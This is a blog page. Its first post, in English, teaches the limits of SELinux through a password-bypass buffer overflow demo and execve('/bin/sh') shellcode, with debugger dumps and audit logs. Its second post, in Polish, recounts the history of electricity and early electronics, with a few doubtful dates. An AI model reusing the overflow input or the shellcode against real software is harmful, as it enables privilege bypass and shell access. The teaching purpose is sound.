Friday, June 28, 2013

What SELinux is not!

If you're interested about the benefits of running SELinux, probably you read the some of documentations where was written something like that:

SElinux is not:
- antivirus software
- firewalls
- an all-in-one security solution

But what this exactly means? Where is the beginning and ends the SELinux protection? To better answering those questions I show two examples, where SELinux is work (block) and where is not. This examples is are a buffer overflow and shellcode. But first we must build a test domain where we can test this examples.

Test domain

The test domain has a minimal privileges to run a simple process via normal system user (and SELinux user "user_u"). We will create a new TE domain as a SELinux policy module. This domain is called process_test_t and we run our two codes example - the buffer overflow and shellcode.

File prosess_test.te:

module process_test 0.1;

require {
        type user_t;
        attribute domain,application_domain_type,ubac_constrained_type,file_type,exec_type,entry_type,non_security_file_type,application_exec_type;
        class file { execute entrypoint };
        class process { transition sigchld  };

type process_test_t,

type process_test_exec_t,

type_transition user_t process_test_exec_t:process process_test_t;
role user_r types { process_test_exec_t process_test_t };

allow user_t process_test_t:process transition;
allow process_test_t process_test_exec_t:file entrypoint;

allow process_test_t user_t:process sigchld;

# for terminal
require {
        type user_devpts_t,sshd_t;
        class chr_file { read write getattr };
        class fd { use };
        class process { rlimitinh siginh noatsecure  };

allow process_test_t user_devpts_t:chr_file { read write } ;
allow process_test_t sshd_t:fd { use };
allow process_test_t user_t:fd { use };
allow user_t process_test_t:process { rlimitinh siginh noatsecure } ;

# getchar()
allow process_test_t user_devpts_t:chr_file { getattr } ;

File prosess_test.fc:

/home/test1/process_test/process_test   --      gen_context(system_u:object_r:process_test_exec_t,s0)

This domain is having only such rights:

root@SELinux:~# sesearch --allow -s process_test_t -d
Found 11 semantic av rules:
   allow process_test_t user_devpts_t : chr_file { read write getattr } ; 
   allow process_test_t sshd_t : fd use ; 
   allow process_test_t user_t : process sigchld ; 
   allow process_test_t user_t : fd use ; 
   allow process_test_t process_test_exec_t : file entrypoint ; 
   allow process_test_t process_test_t : process { fork sigchld } ; 
   allow process_test_t process_test_t : file { ioctl read write getattr lock append open } ; 
   allow process_test_t process_test_t : dir { ioctl read getattr lock search open } ; 
   allow process_test_t process_test_t : lnk_file { ioctl read getattr lock } ; 
   allow process_test_t process_test_t : unix_stream_socket { ioctl read write create getattr setattr append bind connect listen accept getopt setopt shutdown } ; 
   allow process_test_t process_test_t : association sendto ;

So it can't do any bad things and user_u:user_r can run it. The program can run via user_u and wait to user type in a character with getchar().

Ok, now we can build the module. On root (unconfined_t) - in his home directory - create a directory mod_process and write there the two module files: process_test.te and process_test.fc. Then we can compile it:

root@SELinux:~/mod_process_test# make -f /usr/share/selinux/default/include/Makefile process_test.pp

I forget, I do this in Debian Squeeze ;) Remember, you must have install SELinux policy development package.
After build you can load this module:

# semodule -i process_test.pp

Now this command work also with you:

# sesearch --allow -s process_test_t -d

As you can see in the file context (process_test.fc) I choose the location on test code in /home/test1/process_test directory. You can choose different localizations, for test I use system user was called 'test1'. If you choose different location you must change the content in process_test.fc file.

Ok! Now I login as test1 user and create the process_test directory in his home directory:

test1@SELinux:~$ id
uid=1001(test1) gid=1001(test1) groups=1001(test1) context=user_u:user_r:user_t:s0
test1@SELinux:~$ ls -lZd process_test/
drwxr-xr-x. 2 test1 test1 user_u:object_r:user_home_t:s0 4096 Jun 25 21:29 process_test/

Now we can begin the first test.

SELinux and buffer overflow

This is a buffer overflow code. Save it into process_test.c file in process_test directory.

     1 #include <stdio.h>
     2 #include <string.h>
     4 #define TEST 
     6 char *get_correct_pass ()
     7 {
     8 return (char*)"5pW1";
     9 }
    11 int auth ( char *pass )
    12 {
    13 int _auth = 0;
    14 char buff[10];
    15 memset( buff,0,10 );
    16 strcpy( buff, pass );
    18 if ( strcmp( buff,get_correct_pass() ) == 0 ) 
    19 _auth = 1;
    21 return _auth;
    22 }
    24 int main ( int argc, char * argv[] )
    25 {
    26 if ( auth( argv[1] ) )
    27 printf ("access\n");
    28 else
    29 printf ("denied\n");
    30 #ifdef TEST
    31 getchar();
    32 #endif
    33 return 0;
    34 }

Now I little describe this code. This program get a one parameter from line command. This parameter is a passwords. If passwords is correct the program print "access" otherwise print "denied". Correct password is defined in line number 8 ("5pW1").

In line 4 we have TEST declaration, if TEST is declared the program will be wait for a key press (line 31).

The most important function is an auth (line 11). In this function first is declared variable _auth. Second variable is a buff, is having lenght 10 characters.

Because variable buff is declared as second it is above in memory than _auth. This is the reason why overwriting the buff can write the _auth variable (line 16). Program give "access" when function auth() return true (line 26) but any value beyond 0 it's mean TRUE. So if you overwrite _auth variable in some character, each of them have diffrent code from 0.

Let's see in a debugger how overwriting it's work, but before we must compile the code:

test1@SELinux:~/process_test$ gcc -g process_test.c -o process_test

Now we check how to the hex value of "E" character, because I use this character for the test as password.

$ echo 'EEEEEEEEEE' | hexdump 
0000000 4545 4545 4545 4545 4545

Now we run this program in gdb, as parameter we type this password "EEEEEEEEEE" (10x'E').

test1@SELinux:~/process_test$ gdb process_test
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/test1/process_test/process_test...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <string.h>
4 #define TEST
6 char *get_correct_pass ()
7 {
8 return (char*)"5pW1";
9 }
(gdb) list
11 int auth ( char *pass )
12 {
13 int _auth = 0;
14 char buff[10];
15 memset( buff,0,10 );
16 strcpy( buff, pass );
18 if ( strcmp( buff,get_correct_pass() ) == 0 )
19 _auth = 1;
(gdb) break 18
Breakpoint 1 at 0x40066b: file process_test.c, line 18.
(gdb) run EEEEEEEEEE
Starting program: /home/test1/process_test/process_test EEEEEEEEEE

Breakpoint 1, auth (pass=0x7fffffffe979 "EEEEEEEEEE") at process_test.c:18
18 if ( strcmp( buff,get_correct_pass() ) == 0 ) 
(gdb) x/32wx &buff - 0x1
0x7fffffffe636: 0xe9790000 0x7fffffff 0x45450000 0x45454545
0x7fffffffe646: 0x45454545 0x00000000 0xe6700000 0x7fffffff
0x7fffffffe656: 0x06b90000 0x00000040 0xe7580000 0x7fffffff
0x7fffffffe666: 0x00000000 0x00020000 0x00000000 0x00000000
0x7fffffffe676: 0xbc8d0000 0x7ffff7a9 0x00000000 0x00000000
0x7fffffffe686: 0xe7580000 0x7fffffff 0x00000000 0x00020000
0x7fffffffe696: 0x06970000 0x00000040 0x00000000 0x00000000
0x7fffffffe6a6: 0xb6fe0000 0x5e236504 0x0540ad6d 0x00000040
(gdb) x/wx &_auth
0x7fffffffe64c: 0x00000000
(gdb) quit

Ok, in the red we have ten bytes from the buffer (buff). In the green we have four bytes from the _auth. A distance between them is a two bytes. So, enough add 3 characters in the password to overwrite _auth e.g.:

test1@SELinux:~/process_test$ ./process_test EEEEEEEEEEbbX


And we have an bingo. So now we know that the buffer overflow it is works. Ok, the next step is a change the context of this program.

root@SELinux:~# matchpathcon /home/test1/process_test/process_test
/home/test1/process_test/process_test system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 user_u:object_r:user_home_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test
root@SELinux:~# restorecon -v /home/test1/process_test/process_test
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
root@SELinux:~# ls -lZ /home/test1/process_test/process_test
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 9159 Jun 26 17:55 /home/test1/process_test/process_test

Now we check whether SELinux work in enforcing mode.

root@SELinux:~# getenforce 

And the last we can run this program in DTE, and thanks getchar() function (line 31) we can see who context have program at running.

$ ./process_test EEEEEEEEEExx1

Don't press the any key and as root type in:

root@SELinux:~# ps -efZ |grep test1
system_u:system_r:sshd_t:s0-s0:c0.c1023 root 1084 1043  0 17:32 ?      00:00:00 sshd: test1 [priv]
system_u:system_r:sshd_t:s0-s0:c0.c1023 test1 1088 1084  0 17:32 ?     00:00:00 sshd: test1@pts/1
user_u:user_r:user_t:s0         test1     1089  1088  0 17:32 pts/1    00:00:00 -bash
user_u:user_r:process_test_t:s0 test1     1163  1089  0 21:48 pts/1    00:00:00 ./process_test EEEEEEEEEExx1
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1177 1078  0 21:57 pts/0 00:00:00 grep test1

As you can see process_test run in process_test_t domain (DTE). This process is run by test1 user (user_t), but after that it's work in own domain (process_test_t) and user test1 don't have permission to e.g. kill this (own) proces. You can login as test1 user in second shell and try this:

test1@SELinux:~$ ps -A 
  PID TTY          TIME CMD
 1089 pts/1    00:00:00 bash
 1185 pts/2    00:00:00 bash
 1190 pts/2    00:00:00 ps

Even if you get the PID from root shell you still can't kill them:

test1@SELinux:~$ kill -s 15 1163
-bash: kill: (1163) - Permission denied

And you have such log:

# tail /var/log/audit/audit.log
type=AVC msg=audit(1372276812.345:10): avc:  denied  { signal } for  pid=1185 comm="bash" scontext=user_u:user_r:user_t:s0 tcontext=user_u:user_r:process_test_t:s0 tclass=process

As you can see the process_test_t domain is very confined. user_t can execute them but can't do anything else - only press the key.

But wait the minute, we run this program in enforcing mode with 13 length password and buffer overflow is work even with SELinux protection. Why this possible?

The answer is in the architecture of operating system. Everything what is going during the buffer overflow technique (at running ./process_test) is going in the process space. This technique is not required interactions with the kernel.
The next examples is better explains that.

SELinux and shellcode

This is a shellcode:

char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
main (int argc, char **argv)
        int (*ret)();
        ret = (int(*)())SC;

Description of this exploit tells that code execute system function execve(/bin/sh), but how we can check this? We must compile it and run in gdb.
Before we must save this code in shellcode.c.

test1@SELinux:~/process_test$ gcc -g shellcode.c -o shellcode
test1@SELinux:~/process_test$ gdb -q ./shellcode
Reading symbols from /home/test1/process_test/shellcode...done.
(gdb) list 1
1 char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
2              "\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
3              "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
4              "\x42";
6 int
7 main (int argc, char **argv)
8 {
9        int (*ret)();             
10        ret = (int(*)())SC;
(gdb) disas SC
Dump of assembler code for function SC:
0x00000000006008c0 <SC+0>: jmp    0x6008df <SC+31>
0x00000000006008c2 <SC+2>: pop    %rbx
0x00000000006008c3 <SC+3>: xor    %eax,%eax
0x00000000006008c5 <SC+5>: addr32 mov %eax,0x7(%ebx)
0x00000000006008c9 <SC+9>: addr32 mov %ebx,0x8(%ebx)
0x00000000006008cd <SC+13>: addr32 mov %eax,0xc(%ebx)
0x00000000006008d1 <SC+17>: xor    %eax,%eax
0x00000000006008d3 <SC+19>: mov    $0xb,%al
0x00000000006008d5 <SC+21>: addr32 lea 0x8(%ebx),%ecx
0x00000000006008d9 <SC+25>: addr32 lea 0xc(%ebx),%edx
0x00000000006008dd <SC+29>: int    $0x80
0x00000000006008df <SC+31>: callq  0x6008c2 <SC+2>
0x00000000006008e4 <SC+36>: (bad)  
0x00000000006008e5 <SC+37>: (bad)  
0x00000000006008e6 <SC+38>: imul   $0x414e6873,0x2f(%rsi),%ebp
0x00000000006008ed <SC+45>: rex.B
0x00000000006008ee <SC+46>: rex.B
0x00000000006008ef <SC+47>: rex.B
0x00000000006008f0 <SC+48>: rex.X
0x00000000006008f1 <SC+49>: rex.X
0x00000000006008f2 <SC+50>: rex.X
0x00000000006008f3 <SC+51>: rex.X add    %al,(%rax)
End of assembler dump.
(gdb) q

This is a assembler code. In the blue I mark the code which clear EAX register and set in a 0xb hex value. 0xb in decimal number is a 11. In the red I mark the holy grail of understand when SELinux is work. In assembly language instruction 'int 0x80' is used when program wants invoke a system calls. In other words that is means the interrupt, this happens when a code flow is switch into system mode. Only then - when program interaction with the system - SELinux can control the process actions (the subject).

Below is a definitions of the system call numbers in file root/arch/x86/include/asm/unistd_32.h from kernel source. On the blue mark we have the number of execve() function.

#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H

 * This file contains the system call numbers.

#define __NR_restart_syscall      0
#define __NR_exit    1
#define __NR_fork    2
#define __NR_read    3
#define __NR_write    4
#define __NR_open    5
#define __NR_close    6
#define __NR_waitpid    7
#define __NR_creat    8
#define __NR_link    9
#define __NR_unlink   10
#define __NR_execve   11
#define __NR_chdir   12
#define __NR_time   13
#define __NR_mknod   14
#define __NR_chmod   15
#define __NR_lchown   16
#define __NR_break   17
#define __NR_oldstat   18
#define __NR_lseek   19
#define __NR_getpid   20

The next what we do is a compile the shellcode without a process memory protections.

root@SELinux:~# rm /home/test1/process_test/process_test
test1@SELinux:~/process_test$ gcc -fno-stack-protector -z execstack shellcode.c  -o process_test
root@SELinux:~# restorecon -v /home/test1/process_test/process_test
restorecon reset /home/test1/process_test/process_test context user_u:object_r:user_home_t:s0->system_u:object_r:process_test_exec_t:s0
test1@SELinux:~/process_test$ ls -lZ process_test
total 24
-rwxr-xr-x. 1 test1 test1 system_u:object_r:process_test_exec_t:s0 6657 Jun 27 21:11 process_test
test1@SELinux:~/process_test$ ./process_test 

And we have such logs:

root@SELinux:~# tail /var/log/audit/audit.log
type=AVC msg=audit(1372360361.357:69779): avc:  denied  { search } for  pid=1221 comm="process_test" name="bin" dev=sda1 ino=562 scontext=user_u:user_r:process_test_t:s0 tcontext=system_u:object_r:bin_t:s0 tclass=dir
type=SYSCALL msg=audit(1372360361.357:69779): arch=40000003 syscall=11 per=400000 success=no exit=-13 a0=6008e4 a1=6008ec a2=6008f0 a3=7fff3d5bf1f8 items=0 ppid=1057 pid=1221 auid=4294967295 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts1 ses=4294967295 comm="process_test" exe="/home/test1/process_test/process_test" subj=user_u:user_r:process_test_t:s0 key=(null)

The process_test runs in process_test_t domain don't have permission to search the /bin directory. Even if it had this permission it don't have permission to execute a bin_t type object and many others permission required to run /bin/sh.


Summary of this two examples it show the SELinux is a kernel security mechanism that work only if the process (subject) must use of the system calls to do bad things.

Furthermore you must understand that if a process which has SELinux permission to e.g. write in to /etc/passwd will be crack with technique which work only in the process space the SELinux protections it's not stop it. SELinux check only if a particular process can call a particular system function, but not check when it do this.

So SELinux is not see a diffrent between a normal system call from proces (the orginaly code flows) and a crack call from process (an attacker changes the orginaly code flows). Of course the policy must allow this action for this process.

Saturday, June 22, 2013

Historia komputerów jakiej nie znałeś

Czy zastanawiałeś się kiedyś nad tym, co właściwie dzieje gdy uruchamiasz swój komputer? Wracasz do domu z pracy bądź szkoły, bierzesz laptopa, wciskasz przycisk "Power" i czekasz, aż załaduje się system. Dziś informatyka kojarzona jest z matematyką, podobno mają ze sobą tak wiele wspólnego. Komputery mają więcej wspólnego z fizyką, a konkretnie z elektroniką. W istocie rzeczy komputery przecież są urządzeniami elektronicznymi. Elektronika powstała na bazie fizyki przy pomocy matematyki, tak samo jak informatyka powstała na bazie elektroniki przy pomocy matematyki. Mniej więcej tak można zdefiniować samą informatykę, ale na pewno informatyka nie powstała dzięki matematyce, taka informatyka mogłaby istnieć tylko na papierze - i istniała. Informatyka to fizyczne wykorzystanie matematycznych reguł przy pomocy elektroniki, równie dobrze mogłaby się nazywać "infortronika". Najlepiej pokazać to na przykładzie historii.

Więc to będzie historia o tym, jak komputery działają, dzięki czemu i komu było możliwe ich zbudowanie. Postaram się również pokazać, w których momentach pomoc matematyki była niezbędna, a w których fizyki. Co ciekawe w tej historii znajdzie się wiele rzeczy na pierwszy rzut oka nie mających nic wspólnego z komputerami, wszak człowiek z małpą też nie ma nic wspólnego.

Ponieważ kompletna historia komputerów jest zbyt dużym zagadnienie, to w tym tekście ograniczyłem się do części informatyki zwanej hardware. Software zostanie tu pominięte, ponieważ to już historia systemów operacyjnych.


W komputerach jest coś, co sprawia iż ożywają. Co ciekawe to samo ożywia ludzkie ciało, to energia elektryczna. Mózg steruje Twoimi mięśniami za pomocą impulsów elektrycznych, a elektrowstrząsy potrafią przywrócić człowieka do życia.
Jak widać mamy więcej wspólnego z komputerami niż nam się wydaje, wszak budujemy je na swoje podobieństwo. Uczymy je tego co sami potrafimy by korzystać z ich szybkości i nieomylności. Jednak ile jest wart Twój komputer bez energii elektrycznej i właściwie czym ona jest?

Dzięki Einsteinowi wiemy, że każdy kawałem materii posiada ogromne zasoby energii. Problem w tym, że nadal do końca nie wiemy jak ją wydobyć. Obecnie najlepiej znanym nam sposobem na wydobyć tej energii jest bomba atomowa. Jednak jak wiadomo energia wydobyta w ten sposób jest "brudna". Wydaje się że obecnie najbardziej znanym nam sposobem na wydobywanie energii jest elektryczność. Ta również nie jest w stu procentach czysta, dlatego obecnie opracowuje się ekologiczne źródła energii. Jednak elektryczność to szczególna forma energii, która występuje w naturalnym środowisku, pod takimi postaciami jak światło i pioruny. Oczywiście, w skali kosmosu energia bomby atomowej również występuje w naturalnej postaci, to np. nasze słońce.

Najważniejsze z tego wszystkiego jest to, aby zrozumieć, iż energia nie jest nowym produktem, tylko inną formą materii. Tak więc posiadamy ogromne zasoby i próbujemy wydobyć z niej energię. Gdyby udało nam się wydobyć chociaż połowę rzeczywistej energii z masy jaką posiada bateria laptopa, to nasz laptop pracowałby jak amerykański lotniskowce wyposażone w dwa reaktory atomowe, które pozwalają mu funkcjonować nawet przez ponad 20 lat.

Początki elektryczności

Elektryczność fascynowała ludzi od dawna, ale przez wieki pozostawała poza ich zasięgiem. Historia ujarzmiania elektryczności zaczyna się w XVIII wieku. Stephen Gray mieszkający w Londynie zbudował w swoim domu szklaną tubę i eksperymentował z elektrycznością statyczną, którą wytwarzał przykładając dłoń do szybko obracanej szklanej tuby. Zaobserwował, że elektryczność można wygenerować przez ruch i potrafi ona poruszać przedmioty. W 1732 opublikował wyniki swoich badań, których efektem były odkrycie przewodników i izolatorów. Do dziś używamy różnych metali jako przewodników i porcelany jako izolatora na słupach elektrycznych.

W 1745 Pieter van Musschenbroek, Holenderski naukowiec szukał sposobu na zgromadzenie elektryczności. Wcześniej wiedziano, że człowiek może ją wytworzyć, ale gdy przestawał to robić, natychmiast znikała. Wpadł na pomysł, aby poprzez metalowy przewód zgromadzić elektryczność wytwarzaną przez obracającą się szklaną tubę w wodzie przechowywanej w szklanym naczyniu. Szklane naczynie postawił na materiale, który miał właściwości izolacyjne. Pewnego razu zapomniał to zrobić i trzymał szklany pojemnik w dłoni, i tak udało mu się zbudować pierwsze urządzenie na świecie potrafiące przechowywać elektryczność. Nazwano je butelką lejdejską i jest ona przodkiem elementów elektrycznych znajdujących się dziś w niemal każdym urządzeniu elektronicznym - to kondensator.

Parę lat później jeden z założycieli Stanów Zjednoczonych Benjamin Franklin dokonał eksperymentu polegającego na naładowaniu butelki lejdejskiej za pomocą piorunu. Do środka butelki włożył trzy metrowy pręt i czekał na burze. Eksperyment powiódł się, jego wynikiem było udowodnienie, że pioruny są tą samo elektrycznością, którą wytwarza człowiek. Benjamin oprócz zrozumienia natury wyładowań elektrycznych wyjaśnił również zasadę działania butelki lejdejskiej i stworzył definicje ładunków elektrycznych opisując fundamentalne własności ładunków dodatnich i ujemnych.

W 1800 roku, włoski fizyk Alessandro Volta zbudował pierwszą baterie, zwaną stosem Volty. Warto podkreślić, iż bateria ta generowała energię z elektrycznych właściwości dwóch różnych metali, bez udziału jakiegokolwiek źródła energii zewnętrznej. Jego wkład w elektryczność był tak ważny, że na jego cześć nazwano jednostkę napięcia jego nazwiskiem. Dziewięć lat później brytyjski chemik Humphry Davy zbudował największą baterię jaką do tej pory widziano i przed publicznością zetkną ze sobą dwa końce kabli podłączone do tej baterii generując po raz pierwszy elektryczne światło wytworzone przez człowieka, które zapowiadało nadejście nowej ery w elektryczności.


Michael Faraday był angielskim samoukiem, który interesował się elektrycznością. Udało mu się dostać pracę na stanowisku asystent w laboratorium Royal Institution of Great Britain. W 1821 roku zbudował pierwsze urządzenie, które jest przodkiem wszystkich obecnych silników elektrycznych. Odkrył, że prąd generuje pole magnetyczne, a jak wiadomo magnetyzm pozwala poruszać przedmioty. To odkrycie było początkiem nowej ery, w której ważniejsze było to, do czego prąd można wykorzystać, niż czym właściwie jest. Faraday odkrył również, że proces ten można odwrócić. Ruch i magnetyzm mógł generować prąd. To właśnie na tej zasadzie działają dzisiejsze elektrownie, dzięki której teraz działa Twój komputer. Faraday odkrył zjawisko zwane indukcją elektromagnetyczną.

Można by się domyśleć, że kolejnym krokiem będzie stworzenie elektrowni i żarówki, jednak najpierw stworzono coś innego, coś co ma więcej wspólnego z komputerem niż by się mogło wydawać.


W 1827 roku Amerykański naukowiec Joseph Henry dopracował elektromagnes. Jego zasadniczą cechą było to, że pole magnetyczne (elektromagnes) można było kontrolować na odległość za pomocą przewodu i prądu. To odkrycie pozwoliło na stworzenie pierwszego urządzenia przydatnego w codziennym ludzkim życiu, telegrafu.
Alfabet Morsa
W 1837 roku Samuel Morse zbudował pierwszy telegraf, który wykorzystywał prosty kod, zwany kodem Morsa. Zakodowanie alfabetu za pomocą tylko dwóch odmiennych sygnałów elektrycznych stanowi kamień milowy dla ówczesnej informatyki.

Poniższy film demonstruje zasadę działania telegrafu.

Od 1850 roku próbowano połączyć za pomocą kabla ówczesne dwa mocarstwa, Anglię i Stany Zjednoczone. Początkowo uważano, że położenie linii telegraficznej pod Atlantykiem jest niewykonywalne, jednak realne zyski zachęciły do prób. Ostatecznie w 1859 roku na środku Atlantyku połączono ze sobą dwa kable, tym samym łącząc ze sobą i po raz pierwszy dwa kontynenty.
Niestety komunikaty były mało zrozumiane, odbiorca nie mógł odróżnić krótkiego sygnału od długiego. Sytuacja okazała się frustrująca. Jakby tego było mało inżynierowie postanowili zwiększyć napięcie, gdyż uważali, że większe napięcie wygeneruje mocniejszy i wyraźniejszy sygnał. Niestety, konsekwencją podniesienia napięcia było zniszczenie kabla. Wtedy jeszcze nie do końca wiedziano nic o fali elektromagnetycznej i jak właściwie prąd płynie przez przewód. Mimo wszystko położenie transatlantyckiego kabla było największym i najdroższym eksperymentem z elektrycznością.

History of the Atlantic Cable

W końcu w 1866 roku położono nowy kabel, który rozwiązywał problem zakłóceń poprzez zastosowanie ekranowania i ponownie przesłano wiadomość. Tym razem sygnał był wyraźny i zrozumiany. Pierwszy raz informacja z Wielkiej Brytanii do Stanów Zjednoczonych docierała niemal natychmiast zamiast dwóch tygodni. Osiągnięcie to było bardziej postępem cywilizacyjnym niż technicznym.


Nad ideą przesyłania głosu za pomocą elektryczność od 1875 roku pracował Alexander Graham Bell i to on złożył pierwszy patent na telefon. Jednak to urządzenie miało wielu współtwórców. W 1876 roku Alexander dokonał pierwszego udanego eksperymentu polegającego na przesłaniu dźwięku: "Mr. Watson come here I want to see you". W kolejnych latach cały czas udoskonalano tą technologię. Pierwszą rozmowę długodystansową  pomiędzy Nowym Jorkiem a Kalifornią wykonano dopiero aż w 1915 roku, ale jedna z pierwszych, a zarazem najbardziej znanych firm telekomunikacyjnych powstała już w 1885 roku, to AT&T (American Telephone and Telegraph Company). AT&T odegra jedną ze znaczących ról w procesie powstawiania komputerów. Teraz już wiesz, skąd wzięła się nazwa Bell Labs, nazwa laboratorium, w które miało wielki wpływ na powstanie komputerów i systemów operacyjnych.

W tym miejscu historia telefonu dopiero się zaczyna, a kolejność następnych odkryć traci liniowość. Wiele kolejnych odkryć było dokonywanych równocześnie, a ich opracowanie i udoskonalanie trwało lata. Postaram się jednak zachować właściwą kolejność dla nowych urządzeń wykorzystujących elektryczność.

Jak pisałem w 1809 roku Humphry Davy po raz pierwszy wygenerował światło, właściwie była to iskra i nie nadawała się do oświetlania domów, ponieważ była zbyt jasna. Pierwsza upowszechniona żarówka pojawiła się dopiero w 1880 roku, stworzył ją Thomas Edison. Nowy rodzaj elektryczności zrewolucjonizował nasze życie. Do tej pory pomieszczenia oświetlano gazem, lampami naftowymi lub zwykłymi świecami.

Dziś trudno to sobie wyobrazić, ale wszystkich odkryć opisanych do tej pory dokonano w pewnym sensie przy świetle świec. Mogliśmy wysyłać już telegramy, ale nadal używaliśmy świec i nadal energia elektryczna nie była powszechnie dostępna.

Dystrybucja energii elektrycznej

Choć Edison nie był jedynym wynalazcą żarówki, to cała chwała przypadła jemu. Jednak kluczem do elektrycznego biznesu było generowanie prądu i jego dystrybucja do jak największej ilości odbiorców. Tylko wtedy w pełni można było zarobić na elektryczności. W tym momencie historia elektryczności przestaje mieć charakter czysto odkrywczy i nabiera czysto ekonomicznych cech.

W 1882 roku Edison w otoczeniu reporterów i bankierów zapowiedział wybudowanie pierwszej elektrowni (ang. power station) na Manhatanie. Stacja została uruchomiona w 1890 roku i generowała prąd stały (DC). Jednak opłacalność takiego systemu była zerowa, ponieważ mogła ona dostarczać energię tylko w obrębie jednej mili, z powodu strat napięcia. System ten był bardzo ograniczony i drogi, a wielka wizja Edisona, w której oświetli on cały Nowy Jork została powstrzymana przez ograniczenia jego systemu.

Wybudowanie elektrowni było wielkim krokiem, pierwszy raz energię można było kupić. Poza tym centralne generowanie pozwalało uzyskać większą efektywności i ciągłą pracę. Jednak problemy z systemem rozprowadzania energii nie pozwalały na ekspansje elektryczności.

AC vs. DC

Rozwiązanie problemu zaproponował nieznany geniusz, był nim Nikola Tesla. Zaproponował zupełnie inne rozwiązanie, było nim generowanie prądu przemiennego (AC) poza miastami i dostarczanie do miasta. Tesla nie skupiał się tylko na generowaniu prądu, opracował cały system jego dystrybucji. Zaletą prądu przemiennego jest to, że można go przesyłać bez znacznych strat na bardzo duże odległości. Jego wadą było to, że wysokie napięcia prądu przemiennego są niebezpieczne.

Jednak sam Tesla nie był znany, ale jego patentem na generowanie prądu przemiennego i jego przetwarzanie na prąd stały zainteresował się George Westinghouse. Odkupił go od Tesla za znaczną kwotę, oraz za stałą opłatę od określonej ilości sprzedanej energii.

War of Currents - Transformator Tesli
Edison zwalczał pomysł Tesla strasząc ludzi, tym jak prąd przemienny jest niebezpieczny. Organizował pokazy, w których zabijał psy, a nawet konie. Wywołało to powszechny strach. Edison reklamował swój produkt jako bezpieczny system. Napięcie było duże, gdyż Thomas Edison i George Westinghouse walczyli o kontrakt na zaopatrzenie Nowego Jorku w prąd. Mieli świadomość tego, że przed zwycięzcą stanie otworem cały rynek.

W odpowiedzi na zabójcze działanie prądu przemiennego Tesla również przygotował pokaz, który sprawił iż ludzie uwierzyli, że prąd przemienny o bardzo dużych napięciach może być bezpieczny. Pokaz Nikola Tesla z 1891 roku zmienił bieg historii. W 1896 roku na wodospadzie Niagara zbudowano pierwszą elektrownię, która parę lat później zasiliła Nowy Jork w energię elektryczną. Dziś wszyscy korzystamy z energii elektrycznej dostarczanej systemem Nikola Tesla. Teraz już wiesz dlatego do komputera potrzebny jest adapter DC.

Jednak historia Nikola Tesla nie kończy się w chwale i bogactwie. Człowiek, który pomógł stworzyć dzisiejszy świat umarł biedny i samotny w hotelowym pokoju, a Edison stał się w pewnym sensie bohaterem Ameryki.

Manhattan nocą zasilany systemem Tesli
NASA - Electromagnetic Spectrum

Michael Faraday w 1846 roku powiedział, iż światło to jedna z form fali elektromagnetycznych. Publiczność go wyśmiała, mimo iż był już wtedy cenionym profesorem. Faraday nie potrafił udowodnić swego twierdzenia, potrzebował kogoś kto by mu pomógł. Po piętnastu latach (1861 r.) profesor James Clerk Maxwell natknął się na ideę Faradaja i uwierzył w nią. Postanowił udowodnić to matematycznie.

W 1887 roku Heinrich Rudolf Hertz przeprowadził eksperymenty, które potwierdziły prawidłowość obliczeń wykonanych przez Maxwell'a. W 1894 roku Oliver Lodge po raz pierwszy zaprezentował urządzenie wykrywające fale elektromagnetyczne. Wydarzenie to rozpoczyna nową erę w komunikacji i nauce.


Nie trudno domyślić się co było następstwem odkrycia fal elektromagnetycznych. Guglielmo Marconi jest najbardziej znanym nazwiskiem z wynalezienia radia. Co prawda nie tylko on rozwijał tą technologię ale to jemu udało się pierwszemu dokonać transmisji przez Atlantyk. Jego pierwsze eksperymenty z radiem miały miejsce w 1895 roku, natomiast pierwsza transatlantycka wiadomość przez Marconiego miała miejsce w 1902 roku.


Skoro to co widzimy jest światłem, a światło jest falą elektromagnetyczną, którymi zaczynano manipulować, to możliwe jest rejestrowanie i przesyłanie obrazu do odbiornika. Tak jak w przypadku telefonu użyto greckiego słowa "tele", które oznacza na odległość. Idea przesyłania obrazu na odległość powstała mniej więcej w tym samym czasie co przesyłanie dźwięku.

Pierwsze urządzenie potrafiące odbierać obraz stworzono w 1906 roku, jednak nie przypominało ono nowoczesnych telewizorów kineskopowych. Dużą rolę w rozwoju telewizji odegrały lampy elektronowe, z których w przyszłości budowano pierwsze komputery. Pierwsze stacje nadawcze, które są dziś jednymi z największych na świecie powstawały na początku lat trzydziestych, ale pierwszy przekaz kolorowego obrazu miał miejsce w 1938 roku.


W 1947 roku w Bell Labs stworzono pierwszy tranzystor. Tranzystor korzysta z fizycznych właściwości krzemu, które nazwano półprzewodnikiem. Zasadę tranzystora można opisać następująco. Wyobraź sobie, że kawałek półprzewodnika (np. krzemu) łączy dwa przewody. Załóżmy, że prąd nie przepływa przez półprzewodnik. Teraz do krzemu przyłączmy trzeci przewód odgrywający rolę kontrolera. Za pomocą kontrolera małym napięciem uruchamiamy przewodnictwo większych napięć, czyli pozostałych dwóch przewodów połączonych z krzemem. Można to porównać do włącznika światła, gdzie przycisk pełni rolę kontrolera.

